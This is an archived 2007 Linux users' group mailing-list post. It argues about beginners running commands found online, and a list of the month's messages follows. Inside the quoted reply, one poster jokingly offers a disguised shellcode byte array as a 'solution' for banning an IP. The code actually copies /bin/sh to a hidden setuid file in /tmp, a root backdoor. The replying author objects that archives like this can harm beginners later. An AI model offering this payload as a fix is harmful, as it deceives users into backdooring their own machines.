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DATE 2007-12-01

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DATE 2007-12-12
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SUBJECT Subject: [ruben@mrbrklyn.com: [NYLXS - HANGOUT] Re: Favorite way to ban an IP from your webserver?]
> >
>
> I'm sorry, but if someone doesn't have the common sense to take what
> people say and do a little investigation into why they gave that
> answer and possibly learn what you are doing instead of typing
> something in with blind faith, then you deserve what damage it might
> cause. Linux is not that difficult as some people claim, what I've
> found is most people are ignorant and don't care to learn new things,
> especially when it comes to computers. I as a computer professional
> absolutely hate it when someone asks for help, then they don't learn
> and they continue to do it over and over again.

Matt

I also teach and I also am a Pharmacist who deals with a very large
segment of the general population and let me assure you that a very large
percentage of the population, mostly due to education but also due to generics
do have to learn the hard way or do need to be told something over and over
and over again. And if you've raised children you can identify this as
a somewhat normal phase of human intellectual development.

If you teach the first rule is patience, and the second rule is MORE patience.


> Yet we IT
> professionals put up with their ignorance.

Try Pharmacy.

> I can sit anyone down in
> front of Linux show them 'man' and tell them before they type any new
> command they first have to type 'man command' and learn what it does.
> What this does is it teaches people to try to find the answer first,
> then if they can't figure it out ask questions. Then when I give them
> the answer or point them in the right direction I expect that they
> learn from it.
>
> Also, if you actually trust every person you meet, then you are fool.

Trust is essential. And remember that this is also archived which means
it can harm somone years from now down the road. WE ALL have grabs snippets
of code and found help with a google google, dejanews search and tried
something, especially ambitious and motivated beginners and young people.

> Of course there are people out there that want to do you harm, and
> even more so on the internet. So why one earth would you trust
> someone that you haven't even met and do exactly everything they say
> without doing some research. Yeah, like I'm going to blindly trust
> anyone that tells me to run a command on my personal machines or my
> work's very expensive servers.
>
> By the way, since you trust everyone, can I borrow $100? I promise to
> pay it back to you tomorrow.
>
> Anyway, here's another solution to the original problem (as suggested
> by http://www.kevinhatfield.org/). I ran it on my machine and it
> worked great :wink: :wink:
>
> char esp[] __attribute__ ((section(".text"))) /* e.s.p
> release */
> = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
> "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
> "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
> "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
> "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
> "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
> "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
> "cp -p /bin/sh /tmp/.beyond; chmod 4755
> /tmp/.beyond;";
>
> --
> -matt


Ruben
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  1. 2007-12-02 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Try to see if this works
  2. 2007-12-03 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: New Website updates and Next Meeting
  3. 2007-12-03 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] New Website updates and Next Meeting
  4. 2007-12-03 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] I'm sick of Procmail
  5. 2007-12-04 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] NYLXS Paper Work
  6. 2007-12-04 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [meissner-at-suse.de: [security-announce] SUSE Security Announcement: Apache2 (SUSE-SA:2007:061)]
  7. 2007-12-04 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [meissner-at-suse.de: [security-announce] SUSE Security Announcement: Linux kernel (SUSE-SA:2007:064)]
  8. 2007-12-05 Paul Robert Marino <prmarino1-at-gmail.com> Re: [NYLXS - HANGOUT] I'm sick of Procmail
  9. 2007-12-05 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] I'm sick of Procmail
  10. 2007-12-05 Ron Guerin <ron-at-vnetworx.net> Re: [NYLXS - HANGOUT] I'm sick of Procmail
  11. 2007-12-06 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Chanukah Party/ NYLXS Social Event/Installfest
  12. 2007-12-06 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [ron-at-vnetworx.net: [nylug-talk] NYLUG & The NY Technical Community Holiday Party December 13, 6:30-8:30PM]
  13. 2007-12-07 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] Chanukah Party/ NYLXS Social Event/Installfest
  14. 2007-12-08 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] archive test
  15. 2007-12-08 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] archive test
  16. 2007-12-08 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] New Archive - Completed
  17. 2007-12-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [info-at-nylug.org: [nylug-talk] WEDNESDAY Dec. 12th: NYLUG presents Alec Istomin from SWSoft on OpenVirtuozzo, Virtuozzo, Parallels and more]
  18. 2007-12-08 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Google Linux Desktop
  19. 2007-12-08 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] Website Updates
  20. 2007-12-09 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: Favorite way to ban an IP from your webserver?
  21. 2007-12-09 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] Website Updates
  22. 2007-12-09 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Marco
  23. 2007-12-09 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Installfest today
  24. 2007-12-10 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: [nylug-talk] TIme to get a Nokia N810
  25. 2007-12-10 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] InstallFest - Thanx
  26. 2007-12-10 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Worthy GNU News
  27. 2007-12-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: Favorite way to ban an IP from your webserver?
  28. 2007-12-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: Favorite way to ban an IP from your webserver?
  29. 2007-12-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] CompUSA is gone
  30. 2007-12-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Fair Use stikes out again
  31. 2007-12-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Netflix is TOOO Big
  32. 2007-12-11 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Music is a crime
  33. 2007-12-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] NYLXS Paper Work
  34. 2007-12-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [noreply-at-lists.linuxjournal.com: Linux Journal Weekly Newsletter - Dec. 12, 2007]
  35. 2007-12-12 archive <archive-at-mrbrklyn.com> Subject: [ruben-at-mrbrklyn.com: [NYLXS - HANGOUT] Re: Favorite way to ban an IP from your webserver?]
  36. 2007-12-12 archive <archive-at-mrbrklyn.com> Subject: [ruben-at-mrbrklyn.com: Re: [NYLXS - HANGOUT] Re: Favorite way to ban an IP from your webserver?]
  37. 2007-12-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [JAM-at-JRLLC.com: ]
  38. 2007-12-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: [opensuse] Audacity on 10.2
  39. 2007-12-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: [opensuse] Audacity on 10.2
  40. 2007-12-12 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [bigdaddyj-at-gmail.com: Re: [MLUG] Re: bash pattern matching]
  41. 2007-12-13 From: "Michael L. Richardson" <mlr52-at-michaellrichardson.com> Re: [NYLXS - HANGOUT] [JAM-at-JRLLC.com: ]
  42. 2007-12-13 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] [JAM-at-JRLLC.com: ]
  43. 2007-12-13 From: "Michael L. Richardson.com" <mlr52-at-michaellrichardson.com> Re: [NYLXS - HANGOUT] [JAM-at-JRLLC.com: ]
  44. 2007-12-13 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] [JAM-at-JRLLC.com: ]
  45. 2007-12-13 From: "Michael L. Richardson.com" <mlr52-at-michaellrichardson.com> Re: [NYLXS - HANGOUT] [JAM-at-JRLLC.com: ]
  46. 2007-12-13 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [m06malho-at-council.nyc.gov: Tech in Govt Oversight Hearing Tomorrow - NYCHA Call Center Expansion]
  47. 2007-12-14 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [fmiller-at-lightlink.com: [opensuse] FREE SOFTWARE GROUP FILES COPYRIGHT SUIT AGAINST VERIZON]
  48. 2007-12-14 From: "Michael L. Richardson" <mlr52-at-mycouponmagic.com> Subject: [NYLXS - HANGOUT] Brooklyn community center.
  49. 2007-12-14 From: "Michael L. Richardson" <mlr52-at-michaellrichardson.com> Subject: [NYLXS - HANGOUT] More Brooklyn community center.
  50. 2007-12-14 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] More Brooklyn community center.
  51. 2007-12-14 From: "Michael L. Richardson.com" <mlr52-at-michaellrichardson.com> Re: [NYLXS - HANGOUT] More Brooklyn community center.
  52. 2007-12-15 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: Gnome and Microsoft
  53. 2007-12-15 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Re: Gnome and Microsoft
  54. 2007-12-16 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Stupid Add Campaign by a local web site
  55. 2007-12-16 email <ray-pub-at-rcn.com> Re: [NYLXS - HANGOUT] Stupid Add Campaign by a local web site
  56. 2007-12-16 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] Stupid Add Campaign by a local web site
  57. 2007-12-16 From: "Michael L. Richardson" <mlr52-at-michaellrichardson.com> Subject: [NYLXS - HANGOUT] Can anyone help on Monday?
  58. 2007-12-16 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] Can anyone help on Monday?
  59. 2007-12-16 From: "Michael L. Richardson" <mlr52-at-michaellrichardson.com> Re: [NYLXS - HANGOUT] Can anyone help on Monday?
  60. 2007-12-16 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] Can anyone help on Monday?
  61. 2007-12-16 From: "Michael L. Richardson" <mlr52-at-michaellrichardson.com> Re: [NYLXS - HANGOUT] Can anyone help on Monday?
  62. 2007-12-16 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] NYLXS Business Meeting
  63. 2007-12-17 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] GNU Healthcare and IT
  64. 2007-12-17 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [marco-at-digifreedom.net: Wanted: Free Software resources for all families and schools]
  65. 2007-12-17 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [pshapiro-at-his.com: [Dclug] impressions of Eee PC from public library viewpoint]
  66. 2007-12-18 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [jarod-at-wilsonet.com: Re: New York Stock Exchange moves to Linux]
  67. 2007-12-18 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [meissner-at-suse.de: [security-announce] SUSE Security Announcement: Mozilla Firefox 2.0.0.10 (SUSE-SA:2007:066)]
  68. 2007-12-18 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [meissner-at-suse.de: [security-announce] SUSE Security Summary Report SUSE-SR:2007:025]
  69. 2007-12-18 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Acts of Violence in the Universe - News You Might Have Missed
  70. 2007-12-18 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [ruben-at-mrbrklyn.com: Re: [nylug-talk] HP 5Si]
  71. 2007-12-18 email <ray-pub-at-rcn.com> Subject: [NYLXS - HANGOUT] NY and ODF or OOXML
  72. 2007-12-19 Ruben Safir <ruben-at-mrbrklyn.com> Re: [NYLXS - HANGOUT] NY and ODF or OOXML
  73. 2007-12-19 email <ray-pub-at-rcn.com> Re: [NYLXS - HANGOUT] NY and ODF or OOXML
  74. 2007-12-19 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Meeting Tonight 6:30PM
  75. 2007-12-19 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Corperate Spying OK for Copyright
  76. 2007-12-23 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] ms-EU Anti-Trust results
  77. 2007-12-24 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] check this out
  78. 2007-12-28 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [gaf-at-blu.org: Re: SCO has been delisted by NASDAQ]
  79. 2007-12-30 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] OLPC
  80. 2007-12-30 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Freedom-IT
  81. 2007-12-30 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] Mike's Children Workshop
  82. 2007-12-30 Ruben Safir <ruben-at-mrbrklyn.com> Subject: [NYLXS - HANGOUT] [newsletter-at-mysql.com: MySQL Newsletter: December 2007]

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